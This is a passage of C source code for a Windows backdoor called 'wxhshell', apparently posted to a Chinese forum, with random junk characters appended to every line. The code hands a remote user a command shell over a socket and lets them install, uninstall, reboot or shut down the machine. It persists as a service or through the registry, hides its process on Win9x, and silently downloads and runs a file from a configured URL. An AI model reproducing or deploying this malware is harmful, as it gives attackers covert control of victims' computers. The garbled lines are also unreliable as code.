      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1mLd_ ]F'F  
    break; B>hC8^.S|w  
  } F ;o ^.  
  // 安装 z"b}V01F#  
  case 'i': { ],lrT0_cT  
    if(Install()) t(O{IUYM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `kn 'RZR  
    else oJcDs-!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (~R[K,G  
    break; s)=fs#%  
    } (8(7:aE $  
  // 卸载 Hl,.6 >F?  
  case 'r': { kj o,?$r %  
    if(Uninstall()) d+1q[,-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9 a ED6  
    else %>dCAj"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }/ p>DMN  
    break; 9t.u9C=!F  
    } qP"+SVqC  
  // 显示 wxhshell 所在路径 %nTgrgS(=  
  case 'p': { lG\6z"K  
    char svExeFile[MAX_PATH]; tSr.0'CE  
    strcpy(svExeFile,"\n\r"); )%4%Uo_Xm  
      strcat(svExeFile,ExeFile); 6*] g)m  
        send(wsh,svExeFile,strlen(svExeFile),0); qno8qF*  
    break; 1}moT#  
    } 3fS+,>s\O  
  // 重启 xQ[~ c1  
  case 'b': { ZfPWH'P  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U>bmCK2  
    if(Boot(REBOOT)) )575JY `6K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i@=0fHiZQ  
    else { bbDl?m&bq  
    closesocket(wsh); GOT@  
    ExitThread(0); ax]Pa*C}  
    } WOW:$.VO^  
    break; r#ISIgJXG  
    } p;[">["  
  // 关机 xWwQm'I2}  
  case 'd': { 7oj ^(R,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G:W4<w  
    if(Boot(SHUTDOWN)) u&q RK>wLa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %h)6o99{wF  
    else { <oweLRt  
    closesocket(wsh); C #A sA  
    ExitThread(0); $\S;f"IM.  
    } ~uF%*  
    break; Htg,^d 5  
    } O]"3o,/]G  
  // 获取shell =J2\"6BnzA  
  case 's': { :ET05MFs\#  
    CmdShell(wsh); cR/-FR  
    closesocket(wsh); Pc+8CuN?  
    ExitThread(0); mVJW"*}8  
    break; DAZzc :1Aj  
  } g_kR5Wxpt  
  // 退出 %\5 wHT+)  
  case 'x': { 3#{{+5G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 83 O+`f  
    CloseIt(wsh); gnW]5#c@  
    break; c-|~ABtEpX  
    } 8VbHZ9Q  
  // 离开 fOE8{O^W  
  case 'q': { X2X.&^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); So&an !  
    closesocket(wsh); zh5$$*\  
    WSACleanup(); J^}w,r *=  
    exit(1); o5!"dxR  
    break; K4]42#  
        } Rgb1B3gu  
  } {`2R<O  
  } Y<~N x~w{  
X6+2~'*t  
  // 提示信息 (AHZmi V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (8M^|z}q  
} 8Iz-YG~%3  
  } + 9vd(c  
c6IFt4)g  
  return; h5+qP"n!?q  
} !1i(6?~#4  
9}~WwmC|x  
// shell模块句柄 @x9DV{j)V  
int CmdShell(SOCKET sock) }( x|  
{ >d.o1<  
STARTUPINFO si; ``%uq)G=D  
ZeroMemory(&si,sizeof(si)); W<J".2D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aBo8?VV]8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]_cBd)3P}  
PROCESS_INFORMATION ProcessInfo; YeN /J.R  
char cmdline[]="cmd"; Ix+===6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y^zL}@  
  return 0; G k'j<a  
} <SiD m-=E  
7@[3]c<=  
// 自身启动模式 d>ltL`xn  
int StartFromService(void) %9|}H [x  
{ p&B c<+3e  
typedef struct Q o}&2m  
{ e-$ U .cx  
  DWORD ExitStatus; %+PWcCmn  
  DWORD PebBaseAddress; J. ]~J|K  
  DWORD AffinityMask; 68m (%%E@  
  DWORD BasePriority; A=Au>"nAA  
  ULONG UniqueProcessId; l `D>h2]  
  ULONG InheritedFromUniqueProcessId; \ (y6o}aW  
}   PROCESS_BASIC_INFORMATION; #+mt}w/  
w28!Yj1Q  
PROCNTQSIP NtQueryInformationProcess; MQL1/>j;  
,2Y P D4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fz%I'+!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E)eRi"a46  
'4gi*8Y  
  HANDLE             hProcess; rlj @ '  
  PROCESS_BASIC_INFORMATION pbi; ;]ojfR=?%  
"=cWcztiP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r 5!ie!5gE  
  if(NULL == hInst ) return 0;  Vf:w.G A  
"CYh"4]@rD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ldjypEa}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 44H#8kV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 13oR-Stj|  
nC^|83  
  if (!NtQueryInformationProcess) return 0; V^ O dTM  
owClnp9K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j, SOL9yg  
  if(!hProcess) return 0; (kpn"]^'  
zYf `o0U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y`"b%P)+T  
~n)!e#p  
  CloseHandle(hProcess); C$X )I~M  
+\SNaq~&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I }AO_rtb  
if(hProcess==NULL) return 0; ;#np~gL  
zd) 2@jX=  
HMODULE hMod; %w <59d6  
char procName[255]; E?c)WA2iH  
unsigned long cbNeeded; Da#|}m0>  
(*63G4Nz\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W~15[r0  
ld~8g,  
  CloseHandle(hProcess); 19)fN-0Z  
q 6Q;9,  
if(strstr(procName,"services")) return 1; // 以服务启动 DlB"o.  
hZ0p /Bdv  
  return 0; // 注册表启动 FA 1E`AdU  
} G~Xh4*#J  
L8<Yk`jx  
// 主模块 3 y!yz3E  
int StartWxhshell(LPSTR lpCmdLine) ;Qpp`  
{ AXBv']Y  
  SOCKET wsl; P0m;AqS#R  
BOOL val=TRUE; ]h0Fv-[A  
  int port=0; 5pNbO[  
  struct sockaddr_in door; PP+{zy9Sb  
#u8|cs!  
  if(wscfg.ws_autoins) Install(); &KfRZ`9H  
#J AU5d  
port=atoi(lpCmdLine); (bfHxkR.  
c5_?jKpl  
if(port<=0) port=wscfg.ws_port; >G`=8Ku  
(k?,+jnR  
  WSADATA data; po~l8p>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +MG(YP/ l  
ZyE2=w7n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   h1 \)_jxA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3}::"X  
  door.sin_family = AF_INET; wH&Rjn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _vA\j  
  door.sin_port = htons(port); b*4[)Yg4  
&I8,<(`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,|?-\?I  
closesocket(wsl); 5.J$0wK'6  
return 1; }8E//$J  
} ?}*A/-Hx0U  
'T54k  
  if(listen(wsl,2) == INVALID_SOCKET) { Y21,!$4gb  
closesocket(wsl); sY?pp '}a  
return 1; owA3>E5t&  
} ZoJ:4uo N`  
  Wxhshell(wsl); cnAwoTt4  
  WSACleanup(); 'U<-w$!f+^  
{;4AdZk  
return 0; &&e{9{R  
EK:!.Fl  
} 9wLV\>i  
~__]E53F  
// 以NT服务方式启动 7)zn[4v7qt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]Xcqf9k  
{ \m!swYy  
DWORD   status = 0; y}jX/Ln  
  DWORD   specificError = 0xfffffff; Va"_.8n|+  
M 7j0&>NTG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x;NCW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )i&9)_ro  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A:3bL: ;t  
  serviceStatus.dwWin32ExitCode     = 0; jRXpEiM  
  serviceStatus.dwServiceSpecificExitCode = 0; 0*^)n&O  
  serviceStatus.dwCheckPoint       = 0;  eWO^n>Y  
  serviceStatus.dwWaitHint       = 0; >V:g'[b  
R4,j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 620y[iiK$  
  if (hServiceStatusHandle==0) return; jqHg'Fq  
VXvr`U\  
status = GetLastError(); hvu>P {  
  if (status!=NO_ERROR) VHX&#vm*  
{ }9fH`C/m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q#B^yk|Y  
    serviceStatus.dwCheckPoint       = 0; gkS#=bv9e@  
    serviceStatus.dwWaitHint       = 0; HxJKS*H;  
    serviceStatus.dwWin32ExitCode     = status; 4%O*2JAw  
    serviceStatus.dwServiceSpecificExitCode = specificError; c_xtwdkL9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [X:mmM0gd  
    return; GDC`\cy  
  } H<|I&nV  
eW)(u$C|qL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; KU[eY}   
  serviceStatus.dwCheckPoint       = 0; "|pNS)  
  serviceStatus.dwWaitHint       = 0; UM%[UyYQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cOra`7L`  
} a#W:SgE?Y  
 G~T]m .  
// 处理NT服务事件,比如:启动、停止 p~M1}mE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fAWjk&9  
{ }NPF]P;  
switch(fdwControl) We3*WsX\  
{ GqhnE>  
case SERVICE_CONTROL_STOP: Y?hC/ 6$7  
  serviceStatus.dwWin32ExitCode = 0; p2|c8n==  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B?c9cS5Mj  
  serviceStatus.dwCheckPoint   = 0; ITh1|yP  
  serviceStatus.dwWaitHint     = 0; haW8zb0z  
  { z<rdxn,9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pmXx2T#=  
  } wzB*M}3  
  return; S4kGy}{+i  
case SERVICE_CONTROL_PAUSE: RsU=fe,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $DW3H1iW  
  break; fXMVl\ <  
case SERVICE_CONTROL_CONTINUE: QOIi/flK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9@C3jZ+9`H  
  break; $enh>!mU  
case SERVICE_CONTROL_INTERROGATE: u4B,|_MK  
  break; *!UY;InanX  
}; 5=Mm=HyI2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WMBntB   
} <Fb3\T L  
70&v`"  
// 标准应用程序主函数 ^[XxE Lx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5gW`;Cdbyc  
{ hb9X<N+p  
u8 14ZN}  
// 获取操作系统版本 1(M0C[P  
OsIsNt=GetOsVer(); )'\Jp 7*3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L7mN&Xr  
 Q^/5hA  
  // 从命令行安装 8^=g$;g  
  if(strpbrk(lpCmdLine,"iI")) Install(); `(1em%}  
!cw<C*  
  // 下载执行文件 0Mt2Rg}  
if(wscfg.ws_downexe) { wo7.y["$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~6@zXHAS  
  WinExec(wscfg.ws_filenam,SW_HIDE); jD3,z*  
} ~\/>b}^uf'  
0CI?[R\  
if(!OsIsNt) { I})la!9   
// 如果时win9x,隐藏进程并且设置为注册表启动 ?HVsIAU  
HideProc(); ]CH@ T9d5V  
StartWxhshell(lpCmdLine); ?GU/Rf!H#  
} 4NbX! "0  
else S5d:?^PGg  
  if(StartFromService()) RH ow%2D  
  // 以服务方式启动 )H$Ik)/N  
  StartServiceCtrlDispatcher(DispatchTable); sj2v*tFb  
else l.1)%q&@^  
  // 普通方式启动 @/yRE^c  
  StartWxhshell(lpCmdLine); B{a:cz>0<  
]4\^>  
return 0; `LH!"M  
}
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只看该作者 1 发表于: 2006-10-10
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